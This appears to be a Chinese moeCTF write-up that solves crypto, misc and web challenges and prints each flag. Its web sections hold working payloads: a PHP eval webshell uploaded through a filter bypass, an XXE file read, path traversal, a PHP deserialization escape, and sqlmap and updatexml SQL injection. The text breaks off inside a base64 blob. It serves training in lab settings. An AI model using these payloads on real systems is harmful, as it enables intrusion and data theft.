CLassical Crypto – ezrot 得到一个密文
1 >@64E 7LC@Ecf0 :D0 ;FDE020D :> !=60 =6EE6C0DF3DE: EFE : @?0 4: !96C0tsAJdEA6d;F}%0N
经过查询得知使用的是ROT5/13/18/47加密,使用ROT47方法解密即可得到flag flag
1 moectf{rot47_is_just_a_simPle _letter_substitution_ciPher_EDpy5tpe5juNT_}
web–http 1 2 3 4 5 6 7 8 9 this is GET method ,your mission :1 .use parameter: UwU=u2 .post **form**: Luv=u3 .use admin character4 .request from 127.0 .0.1 5 .use browser 'MoeBrowser' Complete All Missions
进入环境之后给了我们这些任务,完成即可 第一个 GET:?UwU=u 第二个 POST: Luv=u 第三个 burp抓包把cookie里的character=guest改为admin 第四个 继续抓包,在下面空行里加一个X-forwarded-for: 127.0.0.1注:X-forwarded-for: 127.0.0.1要插到前面,插到后面的话会加载不出来,不到什么原理🥶 第五个 修改UA头换成MoeBrowser即可 Brilliant! Now I give you my flag: moectf{basic_http_knowledge_S0y4sE6ZlBM9RDemgwzNI0BOR4E4CJ7U}
web–web入门指北 下载一个zip文件 打开是个pdf,其他的不用管,直接翻到最下面
1 2 666 c 61673 d6257396 c 5933526 d6533637 a62454e7662575666564739666257396 c 513152475831637959 6 c 396 a61474673624756755 a3055684958303 d
这样一番代码 先字符解码,获得如下
1 flag = bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=
试一下最常用的base64
获取moectf{w3lCome_To_moeCTF_W2b_challengE!!}
web–彼岸的flag hint说粗心的出题人在这个聊天平台不小心泄露了自己的flag 然后搜了半天cms识别和ico文件 结果没想到flag竟然藏在了源码里。。。
1 经过tracker,破获出内容为moectf {find_comments_xlOHEvYhaGNpeEdzZmoT5gIb4CS3ZPmY}
竟然是撤回的消息
web–cookie 压缩包内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ## 一些api说明 注册 `POST /register` json { "username" :"koito" , "password" :"123456" } 登录 `POST /login` json { "username" :"koito" , "password" :"123456" } 获取flag `GET /flag` 查询服务状态 `GET /status`
先登录/register 注册一下 hint说了readme只是一个样例,不是拿来复制的 我们把参数改一改 POST提交
1 2 3 4 { "username" : "zijie" , "password" : "123456" }
error与data都是ok,没问题 然后/login再重复操作 如果使用的是burp抓包,建议进入/flag后检查一下是POST还是GET,README给我们的是GET,那么我们使用GET,进入flag后页面提示{“error”: “ok”, “data”: {“flag”: “flag{sorry_but_you_are_not_admin}”}} 这里我们改一下cookie里的token,如果抓到了character=guest;需要把guest也改为admin token使用base64编码,解码后为
1 { "username" : "zijie" , "password" : "123456" , "role" : "user" }
将user改为admin后重新base64编码放回token 成功获取flag
1 { "error" : "ok" , "data" : { "flag" : "moectf{cooKi3_is_d3licious_MA9iVff90SSJ!!M6Mrfu9ifxi9i!JGofMJ36D9cPMxro}" } }
Classical Crypto –皇帝的新密码 打开压缩包得到一个密文
1 tvljam {JhLzhL_JPwoLy_Pz_h_cLyF_zPtwPL_JPwoLy!_ZmUVUA40q5KbEQZAK5Ehag4Av}
发现这是凯撒密码,发现一个新的解密网站,它可以把结果都列出来传送门
找到moectf的flag模板
1 moectf{CaEsaE_CIphEr_Is_a_vErY _sImpIE_CIphEr!_SfNONT40j5DuXJSTD5Xatz4To}
web–moe图床 文件上传题,url输入/upload.php可以查看源码,或者可以burpsuite抓包修改上传文件的name参数后页面会回显源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php $targetDir = 'uploads/' ;$allowedExtensions = ['png' ];if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_FILES ['file' ])) { $file = $_FILES ['file' ]; $tmp_path = $_FILES ['file' ]['tmp_name' ]; if ($file ['type' ] !== 'image/png' ) { die (json_encode (['success' => false , 'message' => '文件类型不符合要求' ])); } if (filesize ($tmp_path ) > 512 * 1024 ) { die (json_encode (['success' => false , 'message' => '文件太大' ])); } $fileName = $file ['name' ]; $fileNameParts = explode ('.' , $fileName ); if (count ($fileNameParts ) >= 2 ) { $secondSegment = $fileNameParts [1 ]; if ($secondSegment !== 'png' ) { die (json_encode (['success' => false , 'message' => '文件后缀不符合要求' ])); } } else { die (json_encode (['success' => false , 'message' => '文件后缀不符合要求' ])); } $uploadFilePath = dirname (__FILE__ ) . '/' . $targetDir . basename ($file ['name' ]); if (move_uploaded_file ($tmp_path , $uploadFilePath )) { die (json_encode (['success' => true , 'file_path' => $uploadFilePath ])); } else { die (json_encode (['success' => false , 'message' => '文件上传失败' ])); } }else { highlight_file (__FILE__ ); }?>
expload()函数为把字符串打散为数组
1 2 3 if ($secondSegment !== 'png' ) { die(json_encode(['success' => false , 'message' => '文件后缀不符合要求' ])); }
以上源代码最重要的是绕过这个函数,$secondSegment为expload()分开的数组的第二个数组,也就是第一个.后面的字符串必须为png,那么我们提交2.png,提交成功,burpsuite抓包,把2.png后加为.php,是为2.png.php,如果直接提交2.png.php,会被识别出来 2.png
1 <?php eval ($_POST [a]);?>
进入/uploads/2.png.php 输入命令
1 2 3 4 POSTa = phpinfo()a = system("ls /" )a = system("cat /flag" )
cat flag
1 moectf {hmmm_improper_filter_DZlYPmdEjJNm86KgZDvyhzd9sQL_5Wep}
web – gas!gas!gas! 这题需要写一个python脚本,出题人给出了解题方法 转弯漂移方向相反,油门大抓地小,油门小抓地大 源码中可以看到加减油门和方向的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestsimport re a=requests.session() url='http://localhost:50262' data ={ "driver" :'213' , "steering_control" :'1' , "throttle" :'0' }while 1 : s=a.post(url=url,data =data ) if 'moectf' in s.text : print(s.text ) break pipei=re.findall("<font color=\" red\">([\u4e00-\u9fa5!,]+)" ,s.text ) # \u4e00-\u9fa5为unicode的中文编码区间 print(data ) print(pipei) if '左' in pipei[0 ]: data ["steering_control" ]='1' if '右' in pipei[0 ]: data ["steering_control" ]='-1' if '小' in pipei[0 ]: data ["throttle" ]='0' if '大' in pipei[0 ]: data ["throttle" ]='2' if '保持' in pipei[0 ]: data ["throttle" ]='1' if '直行' in pipei[0 ]: data ["steering_control" ]='0'
使用session.post而不是requests.post,因为requests.post在调用完成后就关闭了connect,cookies也随着被删除 而Session.Post() 调用后,保持会话连接,保存cookies,而cookies记录了你的用户名、密码、浏览的网页、停留的时间等等信息。 如果使用requests.post,在运行完成后,不会回显s.textsession.post与requests.post原文
flag
1 这是你的奖励! moectf{Beautiful_Drifting!!_9nukWEcmlHZu85tOOipl_JpkwH3r2GUf}
Misc –打不开的图片1 打开压缩包,找到一个不带文件格式的flag文件,加上文件后缀.jpg和.png都显示不了图片,使用记事本打开发现有一串字符比较可疑
1 6 d 6 f 6 5 6 3 7 4 6 6 7 b 5 8 4 4 5 5 5 f 6 9 3 5 5 f 7 6 3 3 7 2 7 9 5 f 3 6 6 5 4 0 7 5 3 2 6 9 6 6 7 5 3 1 7 d
去除空格后通过字符解码得到flag
1 moectf{XDU_i5_v3ry_6e@ u2ifu1}
方法二: 用notepad++十六进制打开flag,发现第一行和.jpg格式十分相像 找一张电脑jpg图片第一行代码 对比发现flag少了d8 和ff,插入到ff和e0中 保存退出,改为jpg格式即可 这时就可以看见图片了,但flag不在图片中 同样的,使用字符解码即可得到flag
Misc –打不开的图片2 使用notepad++打开flag.jpg 发现第一行类似于png格式 再找一个.png后缀的文件进行对比 把前4列改了 使用png或jpg格式打开
Misc –狗子(1)普通的猫 hint中给了提示,那么我们直接十六进制打开 ctrl+f直接搜moe 成功找到
1 moectf{eeeez_f1ag_as_A_G1ft !}
记事本也能找到
Misc –building_near_lake 看到tips:这图是可以放大的 首先想到flag可能藏在以显示的图片外,修改分辨率,发现并没有 那就利用互联网的优势,使用百度搜图 提取关键词,厦门大学,翔安校区,放大图看这是个图书馆,百度搜索翔安校区只有一个图书馆,启动坐标工具,经度为118.312,纬度为24.606 拍摄设备的发布会 时间(8位数字,如2018年5月6日则为“20180506”) 注意是拍摄设备的发布会时间 ,而不是拍摄时间,我们把图片用记事本打开,可以找到类似的手机型号Redmi K60E,继续百度搜索 将三个问题回答后得到flag
1 moectf{P0 sT_Y0 uR_Ph0 T0 _wiTh_0 Riginal_File_is_n0 T_a_g00 d_idea_YlJf!M3 rux}
web–了解你的座驾 下翻到XDU moeCTF Flag 获得信息flag掉到根目录里 用burpsuite抓取到post,xml_content=<xml><name>XDU moeCTF Flag</name></xml>
xml对应的是xxe漏洞 用一个xxe漏洞模板
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE XXE [ <!ENTITY cmd SYSTEM "file:///flag" > ]> <yasuo > <name > &cmd; </name > </yasuo >
但不能直接提交上去,如果提交上去会报错 使用url编码(所有字符) 用burpsuite提交,hackbar有点问题
1 2 post :xml_content =%3 C%3 Fxml%20 version%3 D%221 %2 E0%22 %20 encoding%3 D%22 UTF%2 D8%22 %3 F%3 E%0 A%3 C%21 DOCTYPE%20 XXE%20 %5 B%0 A%3 C%21 ENTITY%20 cmd%20 SYSTEM%20 %22 file%3 A%2 F%2 F%2 Fflag%22 %3 E%0 A%5 D%3 E%0 A%3 Cyasuo%3 E%0 A%3 Cname%3 E%26 cmd%3 B%3 C%2 Fname%3 E%0 A%3 C%2 Fyasuo%3 E%0 A
flag:
1 moectf{Which_one_You've_Chosen ?XzYkzCjh8V9GublHShh_IiKQF5RMNKwV}
web–大海捞针 题目告诉了需要使用爆破 , use /?id=<1-1000> to connect to different parallel universes (it might seem wired that the index is between 1 and 1000…) 进入题目也说明了flag藏在这1000个页面中 随便输入一个?id=1抓包 send后进入intruder 使用sniper方法爆破id payloads配置如下: 即可开始爆破 发现id=163 len不同 response查看找出flag
Flag:
1 moectf {script_helps_ULOZw7NrjEIKRZ4V}
web–meo图床 本题似乎对文件后缀没有过滤,提交1.php也可以,但它对内容有筛查,1.php中加入GIF89A以绕过 1.php
1 2 GIF89A<?php eval ($_POST [a]);?>
进入提交的目录,蚁剑和命令执行都不能用 右键复制图像,在电脑上用记事本打开 发现了我们注入的信息
1 2 GIF89A<?php eval ($_POST [a]);?>
随便改改url,把name删掉一两个或改一改 出现报错信息,看看有无利用的点
file_get_contents函数可以帮助我们读取文件信息 payload:
1 2 GET : images.php?name =../../../flag
右键复制图像,在电脑上用记事本打开
1 2 3 4 5 6 7 8 hello~ Flag Not Here~ Find Somewhere Else~ Not Here~~~~~~~~~~~~~ awa
进入Fl3g_n0t_Here_dont_peek!!!!!.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );if (isset ($_GET ['param1' ]) && isset ($_GET ['param2' ])) { $param1 = $_GET ['param1' ]; $param2 = $_GET ['param2' ]; if ($param1 !== $param2 ) { $md5Param1 = md5 ($param1 ); $md5Param2 = md5 ($param2 ); if ($md5Param1 == $md5Param2 ) { echo "O.O!! " . getenv ("FLAG" ); } else { echo "O.o??" ; } } else { echo "o.O?" ; } } else { echo "O.o?" ; }?>
简单的MD5漏洞,直接数组绕过即可 payload:
1 2 Get ?param1 []=123 ¶m2 []=456
flag
1 moectf{oops_file_get_contents_controllable_DkqCQ6 g402 lwjecsaxLO7 AU6 x-_7 n9 Ok}
web–夺命十三枪 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );require_once ('Hanxin.exe.php' );$Chant = isset ($_GET ['chant' ]) ? $_GET ['chant' ] : '夺命十三枪' ;$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag ($Chant );$before = serialize ($new_visitor );$after = Deadly_Thirteen_Spears ::Make_a_Move ($before );echo 'Your Movements: ' . $after . '<br>' ;try { echo unserialize ($after ); }catch (Exception $e ) { echo "Even Caused A Glitch..." ; }?> Your Movements: O:34 :"Omg_It_Is_So_Cool_Bring_Me_My_Flag" :2 :{s:5 :"Chant" ;s:15 :"夺命十三枪" ;s:11 :"Spear_Owner" ;s:6 :"Nobody" ;} Far away from COOL...
这里require_once中有一个可进入的php 先不管,往下看看到serialize和unserialize,这是一个反序列化类型题 再进入Hanxin.exe.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php if (basename ($_SERVER ['SCRIPT_FILENAME' ]) === basename (__FILE__ )) { highlight_file (__FILE__ ); }class Deadly_Thirteen_Spears { private static $Top_Secret_Long_Spear_Techniques_Manual = array ( "di_yi_qiang" => "Lovesickness" , "di_er_qiang" => "Heartbreak" , "di_san_qiang" => "Blind_Dragon" , "di_si_qiang" => "Romantic_charm" , "di_wu_qiang" => "Peerless" , "di_liu_qiang" => "White_Dragon" , "di_qi_qiang" => "Penetrating_Gaze" , "di_ba_qiang" => "Kunpeng" , "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts" , "di_shi_qiang" => "Overlord" , "di_shi_yi_qiang" => "Letting_Go" , "di_shi_er_qiang" => "Decisive_Victory" , "di_shi_san_qiang" => "Unrepentant_Lethality" ); public static function Make_a_Move ($move ) { foreach (self ::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement ){ $move = str_replace ($index , $movement , $move ); } return $move ; } }class Omg_It_Is_So_Cool_Bring_Me_My_Flag { public $Chant = '' ; public $Spear_Owner = 'Nobody' ; function __construct ($chant ) { $this ->Chant = $chant ; $this ->Spear_Owner = 'Nobody' ; } function __toString ( ) { if ($this ->Spear_Owner !== 'MaoLei' ){ return 'Far away from COOL...' ; } else { return "Omg You're So COOOOOL!!! " . getenv ('FLAG' ); } } }?>
通过代码可知要让spear_Owner===’Maolei’才能得到flag 而这个值为nobody,我们不可以直接改变。 再看上面的class
1 2 3 4 foreach (self ::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement ){ $move = str_replace ($index , $movement , $move ); } return $move ;
foreach 语法结构提供了遍历数组的简单方式。foreach 循环只适用于数组,并用于遍历数组中的每个键/值对.
1 2 3 4 5 6 7 8 9 10 11 <?php $age =array ("Bill" =>"63" ,"Steve" =>"56" ,"Elon" =>"47" );foreach ($age as $x =>$x_value ) { echo "Key=" . $x . ", Value=" . $x_value ; echo "<br>" ; }? 结果为: Key=Bill, Value=63 Key=Steve, Value=56 Key=Elon, Value=47
最重要的是这一语句
1 $move = str_replace($i ndex, $moveme nt, $move );
看到str_replace和serialize就知道这是一个反序列化字符溢出漏洞 接下来着手构造 截取序列化字符
1 O :34 :"Omg_It_Is_So_Cool_Bring_Me_My_Flag" :2 :{s:5 :"Chant" ;s:15 :"夺命十三枪" ;s:11 :"Spear_Owner" ;s:6 :"Nobody" ;}
截取";s:11:"Spear_Owner";s:6:"Nobody";}
为35字符,我们要把这35个字符挤出 然后换为我们需要它的值";s:11:"Spear_Owner";s:6:"MaoLei";}
1 2 3 4 5 6 7 8 9 10 11 12 13 "di_yi_qiang" => "Lovesickness" ,"di_er_qiang" => "Heartbreak" ,"di_san_qiang" => "Blind_Dragon" ,"di_si_qiang" => "Romantic_charm" ,"di_wu_qiang" => "Peerless" ,"di_liu_qiang" => "White_Dragon" ,"di_qi_qiang" => "Penetrating_Gaze" ,"di_ba_qiang" => "Kunpeng" ,"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts" ,"di_shi_qiang" => "Overlord" ,"di_shi_yi_qiang" => "Letting_Go" ,"di_shi_er_qiang" => "Decisive_Victory" ,"di_shi_san_qiang" => "Unrepentant_Lethality"
在这里面找一个前面比后面短的 以第一枪!!举例: 前比后少一 那么输出35遍前才能把35字符挤出(注:35遍后需要把我们改变的值加在后面) payload:
1 ?chant=di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:" Spear_Owner";s:6:" MaoLei";}
flag
1 moectf {C00L_b0Y!_AsgCuAg60YxVeSqKZqV8kZK1n-t-IlAA}
第七枪!! 前比后少5 输出7遍 payload:
1 ?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:" Spear_Owner";s:6:" MaoLei";}
web –出去旅游的心海 进入wordpress,F12找到一个php文件 进入找到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php highlight_file (__FILE__ );require_once ('/var/www/html/wordpress/' . 'wp-config.php' );$db_user = DB_USER; $db_password = DB_PASSWORD; $db_name = DB_NAME; $db_host = DB_HOST; $ip = $_POST ['ip' ];$user_agent = $_POST ['user_agent' ];$time = stripslashes ($_POST ['time' ]);$mysqli = new mysqli ($db_host , $db_user , $db_password , $db_name );if ($mysqli ->connect_errno) { echo '数据库连接失败: ' . $mysqli ->connect_error; exit (); }$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip ', '$user_agent ', $time )" ;$result = mysqli_query ($mysqli , $query );if ($result ) { echo '数据插入成功' ; } else { echo '数据插入失败: ' . mysqli_error ($mysqli ); }mysqli_close ($mysqli );
先附上一个sqlmap使用方法 根据末尾提示测试发现time存在报错注入,使用sqlmap
查看数据库
1 python sqlmap.py -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php" --data "time=1" --dbs --batch
–data:通过POST提交数据 –dbs:枚举DBMS所有的数据库 –batch:测试过程中, 执行所有默认配置
1 2 3 4 available databases : information_schema performance_schema wordpress
查看数据库里面的表
1 python sqlmap.py -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php" --data "time=1" -D wordpress --tables --batch
–tables:枚举DBMS数据库中所有的表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 +-----------------------+ | secret_of_kokomi | | visitor_records | | wp_commentmeta | | wp_comments | | wp_e_events | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_snippets | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | +-----------------------+
查看数据库表里的列
1 python sqlmap.py -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php" --data "time=1" -D wordpress -T secret_of_kokomi --columns
–columns :枚举DBMS数据库表中所有的列
1 2 3 4 5 6 +---------+ ------+| Column | Type | +---------+------+ | content | text || id | int | +---------+------+
查看数据库列里面的具体的值
1 python sqlmap.py -u "http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php" --data "time=1" -D wordpress -T secret_of_kokomi -C content --dump
–dump:存储DBMS数据库的表中的条目
1 2 3 4 5 6 7 +----------------------------------------------------+ | content | +----------------------------------------------------+ | moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!} | | paimengkanqilaihaohaochi || woshishuimubushiyu~ | +----------------------------------------------------+
手注sql
通过updatexml 函数查询具体的数值
查询当前数据库的所有表
1 2 3 ip=1 &user_agent=1 &time =1 and updatexml(1 ,concat(0x7e ,(select group_concat(table_name ) from information_schema.tables where table_schema=database ()),0x7e ),1 ) //~secret_of_kokomi,visitor_record
查询secret_of_kokomi表的字段
1 2 3 ip=1 &user_agent=1 &time =1 and updatexml(1 ,concat(0x7e ,(select group_concat(column_name ) from information_schema.columns where table_name ='secret_of_kokomi' ),0x7e ),1 ) //'~content,id~
查询数据
1 2 3 ip=1 &user_agent=1 &time =1 and updatexml(1 ,right(concat(0x7e ,(select group_concat(content,0x7e ,id) from secret_of_kokomi)),60 ),1 ) //moectf{Dig_Thr0ugh_Eve2y_C0de
1 2 3 ip =1 &user_agent=1 &time=1 and updatexml(1 ,right(concat(0 x7e,(select group_concat(content,0 x7e,id) from secret_of_kokomi)),30 ),1 )y_C0de_3nd_Poss1bIlIti3s !!}
将flag拼接即可
flag
1 moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!}
web–signin 题目中有一个python文件,先代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 from secrets import users, saltimport hashlibimport base64import jsonimport http.serverwith open ("flag.txt" ,"r" ) as f: FLAG = f.read().strip()def gethash (*items ): c = 0 for item in items: if item is None : continue c ^= int .from_bytes(hashlib.md5(f"{salt} [{item} ]{salt} " .encode()).digest(), "big" ) return hex (c)[2 :]assert "admin" in usersassert users["admin" ] == "admin" hashed_users = dict ((k,gethash(k,v)) for k,v in users.items())eval (int .to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164 ^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153 ,160 ,"big" ,signed=True ).decode().translate({ord (c):None for c in "\x00" })) def decrypt (data:str ): for x in range (5 ): data = base64.b64encode(data).decode() return data __page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2